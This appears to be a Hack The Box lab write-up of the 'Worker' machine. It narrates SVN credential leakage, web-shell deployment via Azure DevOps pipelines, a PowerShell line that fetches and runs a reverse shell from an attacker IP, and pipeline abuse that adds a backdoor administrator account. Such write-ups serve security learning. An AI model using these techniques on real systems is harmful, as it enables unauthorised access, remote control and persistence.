Hack The Box — Worker Writeup

Fahmi J
9 min readJan 30, 2021

Worker is a medium difficulty Windows machine that features a self-hosted Apache Subversion and Azure DevOps server. Enumerating the Subversion server discovers a set of credentials and a subdomain at which the Azure DevOps is hosted. The credentials can be used to login into Azure DevOps server, which then leveraged to gain a foothold on the box by dropping a web shell. Enumeration inside the box finds another set of credentials that also can be used to login into the Azure DevOps. Using the second credentials I obtained, I’m able to gain administrator access by exploiting Azure Pipeline.

Reconnaissance

Nmap

An initial TCP scan with nmap discovers two open ports: 80 (HTTP) and 3690 (Subversion)

nmap -sC -sV -oN initial-worker 10.10.10.203

Performing another scan on typical Active Directory DC ports shows only WinRM (5985) is open.

Enumeration

TCP — 80 Web

Visiting the port 80 displays the IIS default page.

TCP 3690 — Subversion/SVN

This is my first encounter with Subversion, it is a software for version control that is similar to git. To interact with this service, I’ll need the Subversion client, and fortunately, it was preinstalled in Kali Linux.

The general usage/syntax format as follows:

svn <sub-command> svn://[ip]
  • Example of subcommand: ls, cat, info, log.

I can use the sub command ls to check the repository list

svn ls svn://10.10.10.203

moved.txt tells that the repository is no longer maintained , and the latest repo is available at http://devops.work.

svn cat svn://10.10.10.203/moved.txt

With the subcommand info, I find the author of the repository. It also reveals that the repository has 5 revisions (commit).

svn info svn://10.10.10.203

I can check the revision log using the sub command log.

The commit message on r2 seems interesting.

I can check the differences between r1 and r2 using the subcommand diff. The output shows there is a hard-coded credentials.

svn diff -r 1:2 svn://10.10.10.203/

From here, I’ll take note about what I’ve found here.

  • Two subdomains: dimension.worker.htb and devops.worker.htb
  • A set of credentials: nathen:wendel98

I’ll add those two subdomains to my /etc/hosts file.

10.10.10.203 dimension.worker.htb devops.worker.htb

Then after I make sure there is nothing left, I’ll revisit port 80 with the newly discovered subdomain.

TCP 80 — dimension.worker.htb

Visiting dimension.worker.htb presented with a static page.

It even leads to others static site (with subdomain) which I think they are just decoy.

Before moving on, I’ll add all the subdomains I found on /#work to my /etc/hosts. They are:

  • alpha.worker.htb
  • cartoon.worker.htb
  • lens.worker.htb
  • solid-state.worker.htb
  • spectral.worker.htb
  • story.worker.htb

Now I’ll jump over to the mentioned new DevOps server at http://devops.worker.htb.

Foothold

Azure DevOps — SmartHotel360

Visiting http://devops.worker.htb pops an authentication prompt. It logs me in after I entered the credentials I obtained from SVN, and the user, nathen, is currently working on a project called “SmartHotel360”.

Azure DevOps Dashboard

My first objective is to find out what permission do this user have. I clicked the project and try to lookup into the Project Settings.

Project Settings

User permission or group related settings are found to be under the Security menu (Project Settings -> Security Settings).

It seems user nathen is the only member of the SmartHotel360 Team.

SmartHotel360 Team members

And the SmartHotel360 team is a member of Contributors group and Projects Valid Users, and this is added by default upon creating a team group.

SmartHotel360 Team members of

The Contributors group and Projects Valid Users group permissions are defined here, and user nathen inherits those two groups' permission.

Contributors permissions

From there, I try to lookup into the project repository.

I find a bunch of website repositories on the Repos menu. These repositories are previously listed on http://dimension.worker.htb/#work page. User nathen is the author of these repositories.

On the Pipelines menu, there are Azure Pipelines for some of the sites. Azure Pipelines is CICD feature from Azure DevOps. It is similar to GitHub Action, like it can re-deploy the site if there is a new commit pushed to the main/master branch.

My video recommendation about CICD: https://www.youtube.com/watch?v=scEDHsr3APg

User nathen is allowed to queue a builds.

With all of these permission, I can make changes such as dropping a web shell to one of the site repositories that has its own pipeline, say the alpha repository which has Alpha-CI, then I can queue those changes to the pipelines and wait until the site re-deployed/hosted. From there, I should be able to access my web-shell.

Web-Shell Upload

On my first attempt, it tells me to use pull requests instead of uploading a file directly to the master branch.

So, I’ll upload my web shell which is cmdasp.aspx (because the web server is IIS) on a new branch. I’ll be using the alpha repository.

I’ll pick any available work items.

I can just drag and drop the web shell, and commit it afterwards.

From here, I can create a pull request to the master branch to trigger the pipelines or run the Alpha-CI build manually.

With Pull request
If I choose a pull request, it needs to be reviewed first and the reviewer is the user nathen itself, it can decide whether to approve or reject the pull request (well, actually it was me who decide it). It then queue the build.

With Queue Builds

With this, I can skip the review, and just run the queue builds for my branch (on the image it is shell branch instead of iamf).

After the build finished, I can see my web shell is available at alpha.worker.htb/cmdasp.aspx.

To gain an interactive shell, I’ll setup a netcat listener on my Kali, then I'll upload a PowerShell reverse shell called itsf.ps1 and execute it via the web shell.

powershell.exe "mkdir c:/temp;invoke-webrequest -uri 10.10.14.19/itsf.ps1 -outfile C:\temp\itsf.ps1;C:\temp\itsf.ps1"

I have a shell now on my listener.

Privilege Escalation

Internal Enumeration

Enumerating the user groups and privileges using the whoami /all command reveals that IIS appool has SeImpersonatePrivilege which according to BookHackTrick, it can be abused using RogueWinRM.

Unfortunately, the WinRM port was already open, I couldn’t exploit it with RogueWinRM. But, I managed to find another way!

Remote Access as robisl

Enumerating the Users folder finds two users, robisl and restorer (as the name implies, it restore the box configuration, I’ll ignore this).

By using the net command, it shows that robisl can login remotely.

With net command, I also find there is another drive mounted as W:\

There are 4 folders in the W:\ drive, the one that interesting is the svnrepos folder.

I can enumerate all folder and sub folder on the W:\ drive recursively using the dir command. Because I’m on PowerShell, I have to use cmd /c <command> keyword.

PS W:\> cmd.exe /c "dir /s /b svnrepos"

Well PowerShell can do that too, but I prefer cmd.

PS W:\> Get-ChildItem -Path W:\svnrepos -Filter * -Recurse -ErrorAction SilentlyContinue -Forc

In the output, there is a file called passwd that immediately draws my attention.

The passwd file contains a bunch of credentials, and my eyes caught the password for robisl.

PS W:\svnrepos\> gc .\www\conf\passwd

I can login remotely using robisl credentials with evil-winrm.

Exploit Azure Pipelines — Read the Root Flag

After enumerating many things in the remote shell and coming up empty-handed, I returned to Azure DevOps, but this time with a robisl account.

As robisl

Long short story, robisl is member of Build Administrator.

The Build Administrators defined as follows [source].

Exploiting Azure Pipelines

:: Read the Root Flag

So the plan is, I’ll create an Azure pipelines with malicious deployment script/task to execute OS commands.

If I lookup into the agent pool in the Project Settings menu, there is an available agent named ‘Setup’. The agent is owned by an Administrator account, and as a Build Administrator member (inherited), user robisl also has access to it.

So, let’s execute the plan!

First, I’ll create a pipeline (Pipelines → Builds → New Pipeline).

In the next section, I’ll choose Azure Repos Git.

On the next one, I’ll select “PartsUnlimited” as the repository, because that is the repo where robisl is working on.

In the Configure section, I’ll select the starter pipeline (I forgot the name, but don’t choose the existing one). After that, I’ll modify the pool and the script in the “Review” section to steal the flag.

The master branch will be the trigger to run the CI\CD (If I push my changes to the “PartsUnlimited” repository). Since I have access to the “Setup” pool, I’ll use it as the pool. Lastly, on the steps you can add a task/script you want to run/do. In my case, I want to read the root flag.

I’ll save it and run it on a new branch.

I’ll let it run and wait for the output log.

Once it completed, I can see the root flag inside the “Steal the flag” output.

:: Create User with Administrator Privileges

I can also create a privileged user using multi-line script.

- script: | 
net user iamf YourComplexPassword /add /domain
net localgroup Administrators iamf /add
net localgroup "Remote Management Users" iamf /add
displayName: "Set IamF to Admin"

I can push it again and wait for it to complete.

Now I can login with the newly created user.

--

--

Fahmi J

Just curious to learn how things work, especially in digital world.